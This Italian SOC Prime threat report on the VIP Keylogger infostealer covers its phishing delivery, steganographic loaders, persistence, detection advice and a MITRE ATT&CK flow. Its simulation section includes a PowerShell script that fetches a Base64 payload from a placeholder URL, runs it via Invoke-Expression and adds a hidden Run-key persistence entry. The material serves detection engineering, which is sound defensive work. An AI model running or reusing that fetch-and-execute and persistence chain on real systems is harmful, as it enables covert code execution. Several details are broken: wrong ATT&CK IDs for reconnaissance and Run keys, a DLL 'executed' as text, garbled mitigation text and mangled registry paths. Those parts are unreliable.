SOC Prime Bias: Medium

18 May 2026 19:04 UTC

VIP Keylogger e le sue Tattiche di Evasione Multi-Livello

Author Photo
SOC Prime Team linkedin icon Segui
VIP Keylogger e le sue Tattiche di Evasione Multi-Livello
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Riepilogo

VIP Keylogger è una minaccia modulare per il furto di informazioni distribuita tramite esche di phishing come avvisi di pagamento bancario falsi. La catena di infezione si basa su caricamenti dannosi basati su VBS, JavaScript e batch che utilizzano un’ampia offuscazione, la steganografia in immagini PNG e l’abuso di variabili d’ambiente per nascondere le fasi PowerShell prima di avviare il keylogger finale. Una volta attivo, il malware cattura credenziali, schermate, contenuti degli appunti e password Wi-Fi, poi esfiltra i dati attraverso più canali di comando e controllo. Gli sforzi di rilevamento dovrebbero concentrarsi sui cambiamenti sospetti nel registro, sui valori insoliti delle variabili d’ambiente e sulle transizioni anomale dall’esecuzione di script ai payload binari.

Indagine

Il team di ricerca sulle minacce di Splunk ha esaminato oltre 200 campioni di caricatore raccolti a marzo e aprile 2026, documentando i loro schemi di denominazione, le varianti dei caricatori e l’uso steganografico dei file PNG per la distribuzione dei payload. I ricercatori hanno riprodotto il processo di deoffuscazione, identificato l’abuso della INTERNAL_DB_CACHE variabile d’ambiente e tracciato la persistenza fino alla chiave di registro UserInitMprLogonScript . Il rapporto ha anche mappato ogni comportamento osservato alle tecniche MITRE ATT&CK rilevanti per supportare l’ingegneria del rilevamento.

Mitigazione

Le organizzazioni dovrebbero bloccare i primi tentativi di phishing attraverso controlli di sicurezza e-mail più forti e il filtro degli URL. I difensori dovrebbero monitorare la creazione e la modifica di valori HKCUEnvironment, in particolare voci sovradimensionate o uso della variabile. L’esecuzione di caricamenti basati su script da directory scrivibili dall’utente dovrebbe essere limitata, e il PowerShell Constrained Language Mode dovrebbe essere imposto dove possibile. Gli strumenti di sicurezza endpoint dovrebbero anche rilevare l’iniezione di processi in INTERNAL_DB_CACHE aspnet_compiler.exe aspnet_compiler.exe e le attività sospette di netsh .

Risposta

Se viene rilevato un indicatore di VIP Keylogger, isolare l’host interessato, raccogliere la memoria volatile e i log di esecuzione dei processi recenti, e cercare i noti artefatti del registro, gli URL di comando e controllo basati su PNG e i file rilasciati. Gli script dannosi dovrebbero essere rimossi, le credenziali esposte reimpostate, e una ricerca più ampia dovrebbe essere condotta nell’ambiente per artefatti di caricamento correlati e meccanismi di persistenza.

graph TB classDef action fill:#99ccff classDef technique fill:#ffcc99 classDef operator fill:#ff9900 initial_access[“<b>Azione</b> – <b>T1566 Phishing</b><br/>File dannosi .vbs/.js/.bat consegnati via email”] class initial_access action execution[“<b>Azione</b> – <b>T1059.005 Visual Basic</b>, <b>T1059.007 JavaScript</b>, <b>T1059.001 PowerShell</b><br/>Esecuzione di stager sul sistema”] class execution action obfuscation[“<b>Azione</b> – <b>T1027.016 Inserimento codice spazzatura</b>, <b>T1027.003 Steganografia</b>, <b>T1027.009 Payload incorporati</b><br/>Payload nascosti o mascherati”] class obfuscation action persistence[“<b>Azione</b> – <b>T1574.007 Hijacking del flusso di esecuzione</b> via Registro<br/><b>T1037.001 Script di avvio</b><br/>Esecuzione al login”] class persistence action priv_esc[“<b>Azione</b> – <b>T1055.002 Iniezione processo PE</b>, <b>T1055.001 DLL injection</b>, <b>T1620 caricamento riflessivo</b><br/>Escalation privilegi e evasione”] class priv_esc action credential_access[“<b>Azione</b> – <b>T1555.003 Dati browser</b>, <b>T1056.001 Keylogging</b>, <b>T1115 Clipboard hijacking</b><br/>Raccolta credenziali”] class credential_access action discovery[“<b>Azione</b> – <b>T1596.005 IP esterna</b> via servizi pubblici<br/><b>T1016.002 Scoperta Wi-Fi</b><br/>Raccolta informazioni di rete”] class discovery action collection[“<b>Azione</b> – <b>T1113 Screenshot</b><br/>Dati visivi del desktop”] class collection action c2[“<b>Azione</b> – <b>T1071.001 Protocolli web</b> e API Telegram<br/>Controllo remoto”] class c2 action defense_evasion[“<b>Azione</b> – <b>T1070.004 Eliminazione file</b>, <b>T1070.010 Rimozione indicatori</b><br/>Cancellazione tracce”] class defense_evasion action initial_access –>|porta_a| execution execution –>|porta_a| obfuscation obfuscation –>|porta_a| persistence persistence –>|porta_a| priv_esc priv_esc –>|porta_a| credential_access credential_access –>|porta_a| discovery discovery –>|porta_a| collection collection –>|porta_a| c2 c2 –>|porta_a| defense_evasion

Flusso di attacco

Esecuzione della simulazione

Prerequisito: Il controllo pre-volo Telemetria & baseline deve essere superato.

Motivazione: Questa sezione descrive l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrativa DEVONO riflettere direttamente i TTP identificati e mirano a generare la telemetria esatta prevista dalla logica di rilevamento. Esempi astratti o non correlati porteranno a diagnosi errate.

  • Narrativa dell’attacco e comandi:

    1. Ricognizione iniziale – l’attore esegue Get-ADDomain (T1016.002) per scoprire le relazioni di fiducia del dominio.
    2. Acquisizione di payload – utilizzando Invoke-WebRequest (T1071.001) l’attore scarica un DLL codificato in Base64 che implementa il keylogger (T1056.001).
    3. Staging via variabile d’ambiente – la stringa scaricata viene memorizzata in una variabile d’ambiente a livello utente tramite [Environment]::SetEnvironmentVariable. Questo passaggio soddisfa il focus della regola di rilevamento sulla manipolazione delle variabili d’ambiente.
    4. Esecuzione dinamica – l’attore esegue immediatamente il payload con Invoke-Expression $env:VIPPayload (T1059.001). Il keylogger inizia a catturare le sequenze di tasti, le schermate (T1113) e i dati degli appunti (T1115).
    5. Pulizia – dopo aver stabilito la persistenza (es. creando una chiave Run, T1037.001), l’attore elimina il DLL temporaneo dal disco (T1070.004) e rimuove la variabile d’ambiente per ridurre l’impronta forense.
  • Script di test di regressione: Lo script seguente riproduce esattamente i passaggi e genera la telemetria che la regola Sigma si aspetta.

    # Simulazione VIP Keylogger – PowerShell
    # -------------------------------------------------
    # 1. Scarica un payload fittizio (stringa codificata in Base64)
    $payloadUrl = "https://raw.githubusercontent.com/example/dummy-keylogger/main/payload.b64"
    $b64Payload = (Invoke-WebRequest -Uri $payloadUrl -UseBasicParsing).Content.Trim()
    
    # 2. Memorizza il payload in una variabile d'ambiente a livello utente
    $envVarName = "VIPPayload"
    [Environment]::SetEnvironmentVariable($envVarName, $b64Payload, "User")
    
    # 3. Decodifica ed esegue il payload tramite Invoke‑Expression
    $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64Payload))
    Invoke-Expression $decoded
    
    # 4. (Opzionale) Persisti tramite chiave Run – dimostra T1037.001
    $runKey = "HKCU:SoftwareMicrosoftWindowsCurrentVersionRun"
    Set-ItemProperty -Path $runKey -Name "VIPKeylogger" -Value "powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command `"Invoke-Expression $env:$envVarName`""
    
    # 5. Pulizia – rimuovere la variabile d'ambiente e la voce della chiave Run
    Start-Sleep -Seconds 30   # consenti il logging di alcune attività
    Remove-ItemProperty -Path $runKey -Name "VIPKeylogger" -ErrorAction SilentlyContinue
    [Environment]::SetEnvironmentVariable($envVarName, $null, "User")
  • Comandi di Pulizia: Esegui questi comandi per riportare il sistema a uno stato iniziale dopo il test.

    # Rimuovi la variabile d'ambiente creata per il test
    [Environment]::SetEnvironmentVariable("VIPPayload", $null, "User")
    
    # Elimina la voce della chiave Run di persistenza se esiste
    $runKey = "HKCU:SoftwareMicrosoftWindowsCurrentVersionRun"
    Remove-ItemProperty -Path $runKey -Name "VIPKeylogger" -ErrorAction SilentlyContinue
    
    # Cancella eventuali voci residue della cronologia di PowerShell (opzionale)
    Clear-History